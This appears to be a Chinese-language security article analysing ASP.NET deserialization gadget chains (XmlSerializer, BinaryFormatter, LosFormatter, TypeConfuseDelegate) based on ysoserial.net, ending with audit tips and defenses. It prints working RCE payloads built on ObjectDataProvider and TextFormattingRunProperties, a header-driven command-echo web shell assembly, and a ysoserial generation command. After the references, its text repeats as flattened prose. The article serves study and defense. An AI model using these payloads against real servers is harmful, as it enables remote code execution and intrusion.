asp.net反序列化的思考和总结
字数 5122 2025-08-20 18:17:48

ASP.NET 反序列化漏洞分析与防御指南

前言

本文基于Y4er博客和ysoserial.net项目的研究成果,系统总结了ASP.NET反序列化漏洞的原理、利用方式和防御措施。文章将详细分析XMLSerializer、BinaryFormatter、LosFormatter等多种反序列化机制的安全问题,并提供实际攻击案例和代码审计视角。

基础知识

ASP.NET反序列化漏洞主要源于不安全的反序列化操作,攻击者通过构造恶意序列化数据,在目标系统上实现远程代码执行(RCE)。参考文章:反序列化--基于ysoserial的分析

XMLSerializer反序列化

基本机制

XMLSerializer位于System.Xml.Serialization命名空间,程序集为System.Xml.XmlSerializer.dll,它只序列化对象的公共(public)属性和公共字段。

获取Type的几种方式:

XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person)); // typeof()
XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType());  // 对象的GetType()方法
XmlSerializer xmlSerializer2 = Type.GetType("XmlDeserialization.Person"); // 使用命名空间加类名

反序列化攻击链

基本命令执行

在C#中利用Process类实现命令执行的基本语句:

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + cmd;
process.Start();

ObjectDataProvider实现RCE

ObjectDataProvider可以调用任意类的任意方法:

ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
o.ObjectInstance = new Process();

ExpandedWrapper包装恶意类

利用ExpandedWrapper包装恶意类,调用恶意方法执行命令:

[XmlRoot]
public class Person {
    [XmlAttribute]
    public string ClassName { get; set; }
    public void Evil(string cmd) {
        Process process = new Process();
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/c " + cmd;
        process.Start();
    }
}

// 序列化和反序列化过程
ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Evil";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Person();
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Person, ObjectDataProvider>));
xml.Serialize(writer, expandedWrapper);
xml.Deserialize(memoryStream);

ObjectDataProvider + ResourceDictionary

利用ResourceDictionary和XamlReader.Parse()实现RCE:

<ResourceDictionary 
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:b="clr-namespace:System;assembly=mscorlib" 
    xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

代码审计视角

重点关注:

  1. new XmlSerializer(type)中的type参数是否可控
  2. xml.Deserialize(memoryStream)中的反序列化值是否可控

BinaryFormatter反序列化

BinaryFormatter位于System.Runtime.Serialization.Formatters.Binary命名空间,是最危险的反序列化机制之一。

常见攻击链

TextFormattingRunProperties链

限制条件:需要Microsoft.PowerShell.Editor.dll,该库是PowerShell的一部分,预装在Windows Server 2008 R2及以后版本中。

调用链:TextFormattingRunProperties → ObjectDataProvider → Process

原理:在GetObjectData序列化时给ForegroundBrush字段赋值为_xaml的payload,并将对象类型设为TextFormattingRunProperties类。反序列化时触发构造函数,调用GetObjectFromSerializationInfo,进而触发XamlReader.Parse(payload)。

关键点:XamlReader.Parse

Payload示例

[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable {
    protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) {}
    
    string _xaml;
    public void GetObjectData(SerializationInfo info, StreamingContext context) {
        Type typeTFRP = typeof(TextFormattingRunProperties);
        info.SetType(typeTFRP);
        info.AddValue("ForegroundBrush", _xaml);
    }
    
    public TextFormattingRunPropertiesMarshal(string xaml) {
        _xaml = xaml;
    }
}

// 使用
string xaml_payload = File.ReadAllText("payload.xml");
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, payload);
binaryFormatter.Deserialize(memoryStream);

PSObject + ObjectDataProvider

调用链:PSObject → ObjectDataProvider

原理:通过有参构造方法,最终调用XamlReader.Parse方法

DataSet + TextFormattingRunProperties

调用链:DataSet → TextFormattingRunProperties → ObjectDataProvider

原理:DataSet反序列化时自动反序列化Tables_0字段的byte数组,可将TextFormattingRunProperties生成的byte数组赋值给该字段

关键点:binaryFormatter.Deserialize,需要ISerializable接口

DataSetTypeSpoof + TextFormattingRunProperties

与DataSet链类似,只是对info.SetType(typeof(System.Data.DataSet))进行了变形

DataSetOldBehaviour + ObjectDataProvider

调用链:DataSet → ObjectDataProvider

原理:调用DataSet.ReadXml(),最终调用XmlSerializer.Deserialize

ToolboxItemContainer + TextFormattingRunProperties

调用链:ToolboxItemContainer → TextFormattingRunProperties → ObjectDataProvider

原理:ToolboxItemSerializer的反序列化构造函数直接对Stream字段进行BinaryFormatter反序列化

AxHostState + TextFormattingRunProperties

调用链:State → TextFormattingRunProperties → ObjectDataProvider

原理:AxHost.State类的反序列化构造函数中调用this.propBag.Read,PropertyBagBinary字段会被BinaryFormatter反序列化

代码审计视角

BinaryFormatter不需要指定type,因此更容易出现反序列化漏洞,审计时应特别关注BinaryFormatter的使用。

LosFormatter和ObjectStateFormatter

LosFormatter用于序列化存储视图流状态(如ViewState),封装在System.Web.dll中。ObjectStateFormatter同样用于序列化对象状态图。

常见攻击链

ClaimsIdentity + TextFormattingRunProperties + ObjectDataProvider

调用链:ClaimsIdentity → TextFormattingRunProperties → ObjectDataProvider

原理:利用ClaimsIdentity类的m_bootstrapContext字段(object类型),将TextFormattingRunProperties对象赋值给该字段。反序列化时,LosFormatter底层会调用BinaryFormatter序列化和反序列化object字段。

示例

LosFormatter losFormatter = new LosFormatter();
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal();
My my = new My();
my.o = payload;
losFormatter.Serialize(memory, my);
losFormatter.Deserialize(memory);

WindowsIdentity + TextFormattingRunProperties

调用链:WindowsIdentity → ClaimsIdentity → TextFormattingRunProperties → ObjectDataProvider

原理:WindowsIdentity继承自ClaimsIdentity,反序列化时调用父类构造函数,三个字段(actor、bootstrapContextKey)可进行BinaryFormatter反序列化。

RolePrincipal + TextFormattingRunProperties

调用链:RolePrincipal → ClaimsPrincipal → TextFormattingRunProperties → ObjectDataProvider

原理:RolePrincipal反序列化时调用父类ClaimsPrincipal的Identities字段,将获取的base64值转为byte数组后直接BinaryFormatter反序列化。

SessionSecurityToken + TextFormattingRunProperties

调用链:SessionSecurityToken → TextFormattingRunProperties → ObjectDataProvider

原理:反序列化时调用ReadIdentity方法,将BootstrapToken标签内容base64解码后通过BinaryFormatter反序列化。

SessionViewStateHistoryItem + TextFormattingRunProperties

调用链:SessionViewState → SessionViewStateHistoryItem → TextFormattingRunProperties → ObjectDataProvider

原理:SessionViewStateHistoryItem的反序列化构造函数直接对序列化值进行LosFormatter反序列化。

代码审计视角

除了关注反序列化方法传入的参数值,还需注意使用LosFormatter和ObjectStatesFormatter可能造成二次反序列化,要特别关注object类型的字段。

SurrogateSelector相关链

主要用于加载恶意代码实现回显等功能。

ActivitySurrogateSelector

利用代理选择器序列化原本不能被序列化的类,通过LINQ替换其委托为Assembly.Load加载恶意代码。

流程

  1. 从ActivitySurrogateSelector+ObjectSurrogate序列化类
  2. 利用LINQ替换委托
  3. 通过IEnumerable → PagedDataSource → ICollection → AggregateDictionary → IDictionary → DesignerVerb → ToString链
  4. 通过HashTable键值重复触发报错进入ToString
  5. 用System.Windows.Forms.AxHost.State包装处理异常

ActivitySurrogateSelectorFromFile

ActivitySurrogateSelector利用链的变种,可执行自定义程序集(加载dll文件)。

ActivitySurrogateDisableTypeCheck + TextFormattingRunProperties

在.NET 4.8中,微软修复了ActivitySurrogateSelector类的滥用问题。此方法利用TextFormattingRunProperties关闭DisableActivitySurrogateSelectorTypeCheck类型检查,再实现RCE。

Payload示例

<ResourceDictionary
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:s="clr-namespace:System;assembly=mscorlib"
    xmlns:c="clr-namespace:System.Configuration;assembly=System.Configuration"
    xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib">
    <!-- 省略具体payload -->
</ResourceDictionary>

回显实现

自定义程序集示例,利用header中的cmd参数执行命令并回显:

class E {
    public E() {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

生成命令:

ysoserial.exe -g ActivitySurrogateSelectorFromFile -f SoapFormatter -c "dlls\E.cs;System.Web.dll;System.dll"

TypeConfuseDelegate相关链

TypeConfuseDelegate + ObjectDataProvider

利用委托特性,最终调用ObjectDataProvider。

调用链:SortedSet → ObjectDataProvider

原理:SortedSet中OnDeserialization触发Add函数,经过多次重载调用比较器的Compare()方法,反射修改Process.Start(string,string)。

限制:需要.NET 4.5+(Comparer.Create函数)

ClaimsPrincipal + TypeConfuseDelegate

调用链:ClaimsPrincipal → SortedSet

原理:直接触发OnDeserializedMethod回调事件,对m_serializedClaimsIdentities进行反序列化

ResourceSet + Sorted

原理:构造后反序列化时触发Sorted的OnDeserialization事件

防御措施

  1. 避免使用BinaryFormatter、LosFormatter等危险的反序列化机制
  2. 使用安全的替代方案,如System.Text.Json
  3. 实施类型检查,限制反序列化的类型
  4. 使用SerializationBinder限制可反序列化的类型
  5. 对反序列化操作进行严格的输入验证
  6. 保持.NET框架和依赖库的最新版本
  7. 实施代码审查,特别关注反序列化操作

参考资源

  1. Y4er/dotnet-deserialization
  2. Ivan1ee/NET-Deserialize
  3. ysoserial.net项目
ASP.NET 反序列化漏洞分析与防御指南 前言 本文基于Y4er博客和ysoserial.net项目的研究成果,系统总结了ASP.NET反序列化漏洞的原理、利用方式和防御措施。文章将详细分析XMLSerializer、BinaryFormatter、LosFormatter等多种反序列化机制的安全问题,并提供实际攻击案例和代码审计视角。 基础知识 ASP.NET反序列化漏洞主要源于不安全的反序列化操作,攻击者通过构造恶意序列化数据,在目标系统上实现远程代码执行(RCE)。参考文章: 反序列化--基于ysoserial的分析 XMLSerializer反序列化 基本机制 XMLSerializer位于 System.Xml.Serialization 命名空间,程序集为 System.Xml.XmlSerializer.dll ,它只序列化对象的公共(public)属性和公共字段。 获取Type的几种方式: 反序列化攻击链 基本命令执行 在C#中利用Process类实现命令执行的基本语句: ObjectDataProvider实现RCE ObjectDataProvider可以调用任意类的任意方法: ExpandedWrapper包装恶意类 利用ExpandedWrapper包装恶意类,调用恶意方法执行命令: ObjectDataProvider + ResourceDictionary 利用ResourceDictionary和XamlReader.Parse()实现RCE: 代码审计视角 重点关注: new XmlSerializer(type) 中的type参数是否可控 xml.Deserialize(memoryStream) 中的反序列化值是否可控 BinaryFormatter反序列化 BinaryFormatter位于 System.Runtime.Serialization.Formatters.Binary 命名空间,是最危险的反序列化机制之一。 常见攻击链 TextFormattingRunProperties链 限制条件 :需要Microsoft.PowerShell.Editor.dll,该库是PowerShell的一部分,预装在Windows Server 2008 R2及以后版本中。 调用链 :TextFormattingRunProperties → ObjectDataProvider → Process 原理 :在GetObjectData序列化时给ForegroundBrush字段赋值为_ xaml的payload,并将对象类型设为TextFormattingRunProperties类。反序列化时触发构造函数,调用GetObjectFromSerializationInfo,进而触发XamlReader.Parse(payload)。 关键点 :XamlReader.Parse Payload示例 : PSObject + ObjectDataProvider 调用链 :PSObject → ObjectDataProvider 原理 :通过有参构造方法,最终调用XamlReader.Parse方法 DataSet + TextFormattingRunProperties 调用链 :DataSet → TextFormattingRunProperties → ObjectDataProvider 原理 :DataSet反序列化时自动反序列化Tables_ 0字段的byte数组,可将TextFormattingRunProperties生成的byte数组赋值给该字段 关键点 :binaryFormatter.Deserialize,需要ISerializable接口 DataSetTypeSpoof + TextFormattingRunProperties 与DataSet链类似,只是对 info.SetType(typeof(System.Data.DataSet)) 进行了变形 DataSetOldBehaviour + ObjectDataProvider 调用链 :DataSet → ObjectDataProvider 原理 :调用DataSet.ReadXml(),最终调用XmlSerializer.Deserialize ToolboxItemContainer + TextFormattingRunProperties 调用链 :ToolboxItemContainer → TextFormattingRunProperties → ObjectDataProvider 原理 :ToolboxItemSerializer的反序列化构造函数直接对Stream字段进行BinaryFormatter反序列化 AxHostState + TextFormattingRunProperties 调用链 :State → TextFormattingRunProperties → ObjectDataProvider 原理 :AxHost.State类的反序列化构造函数中调用this.propBag.Read,PropertyBagBinary字段会被BinaryFormatter反序列化 代码审计视角 BinaryFormatter不需要指定type,因此更容易出现反序列化漏洞,审计时应特别关注BinaryFormatter的使用。 LosFormatter和ObjectStateFormatter LosFormatter用于序列化存储视图流状态(如ViewState),封装在System.Web.dll中。ObjectStateFormatter同样用于序列化对象状态图。 常见攻击链 ClaimsIdentity + TextFormattingRunProperties + ObjectDataProvider 调用链 :ClaimsIdentity → TextFormattingRunProperties → ObjectDataProvider 原理 :利用ClaimsIdentity类的m_ bootstrapContext字段(object类型),将TextFormattingRunProperties对象赋值给该字段。反序列化时,LosFormatter底层会调用BinaryFormatter序列化和反序列化object字段。 示例 : WindowsIdentity + TextFormattingRunProperties 调用链 :WindowsIdentity → ClaimsIdentity → TextFormattingRunProperties → ObjectDataProvider 原理 :WindowsIdentity继承自ClaimsIdentity,反序列化时调用父类构造函数,三个字段(actor、bootstrapContextKey)可进行BinaryFormatter反序列化。 RolePrincipal + TextFormattingRunProperties 调用链 :RolePrincipal → ClaimsPrincipal → TextFormattingRunProperties → ObjectDataProvider 原理 :RolePrincipal反序列化时调用父类ClaimsPrincipal的Identities字段,将获取的base64值转为byte数组后直接BinaryFormatter反序列化。 SessionSecurityToken + TextFormattingRunProperties 调用链 :SessionSecurityToken → TextFormattingRunProperties → ObjectDataProvider 原理 :反序列化时调用ReadIdentity方法,将BootstrapToken标签内容base64解码后通过BinaryFormatter反序列化。 SessionViewStateHistoryItem + TextFormattingRunProperties 调用链 :SessionViewState → SessionViewStateHistoryItem → TextFormattingRunProperties → ObjectDataProvider 原理 :SessionViewStateHistoryItem的反序列化构造函数直接对序列化值进行LosFormatter反序列化。 代码审计视角 除了关注反序列化方法传入的参数值,还需注意使用LosFormatter和ObjectStatesFormatter可能造成二次反序列化,要特别关注object类型的字段。 SurrogateSelector相关链 主要用于加载恶意代码实现回显等功能。 ActivitySurrogateSelector 利用代理选择器序列化原本不能被序列化的类,通过LINQ替换其委托为Assembly.Load加载恶意代码。 流程 : 从ActivitySurrogateSelector+ObjectSurrogate序列化类 利用LINQ替换委托 通过IEnumerable → PagedDataSource → ICollection → AggregateDictionary → IDictionary → DesignerVerb → ToString链 通过HashTable键值重复触发报错进入ToString 用System.Windows.Forms.AxHost.State包装处理异常 ActivitySurrogateSelectorFromFile ActivitySurrogateSelector利用链的变种,可执行自定义程序集(加载dll文件)。 ActivitySurrogateDisableTypeCheck + TextFormattingRunProperties 在.NET 4.8中,微软修复了ActivitySurrogateSelector类的滥用问题。此方法利用TextFormattingRunProperties关闭DisableActivitySurrogateSelectorTypeCheck类型检查,再实现RCE。 Payload示例 : 回显实现 自定义程序集示例,利用header中的cmd参数执行命令并回显: 生成命令: TypeConfuseDelegate相关链 TypeConfuseDelegate + ObjectDataProvider 利用委托特性,最终调用ObjectDataProvider。 调用链 :SortedSet → ObjectDataProvider 原理 :SortedSet中OnDeserialization触发Add函数,经过多次重载调用比较器的Compare()方法,反射修改Process.Start(string,string)。 限制 :需要.NET 4.5+(Comparer .Create函数) ClaimsPrincipal + TypeConfuseDelegate 调用链 :ClaimsPrincipal → SortedSet 原理 :直接触发OnDeserializedMethod回调事件,对m_ serializedClaimsIdentities进行反序列化 ResourceSet + Sorted 原理 :构造后反序列化时触发Sorted的OnDeserialization事件 防御措施 避免使用BinaryFormatter、LosFormatter等危险的反序列化机制 使用安全的替代方案,如System.Text.Json 实施类型检查,限制反序列化的类型 使用SerializationBinder限制可反序列化的类型 对反序列化操作进行严格的输入验证 保持.NET框架和依赖库的最新版本 实施代码审查,特别关注反序列化操作 参考资源 Y4er/dotnet-deserialization Ivan1ee/NET-Deserialize ysoserial.net项目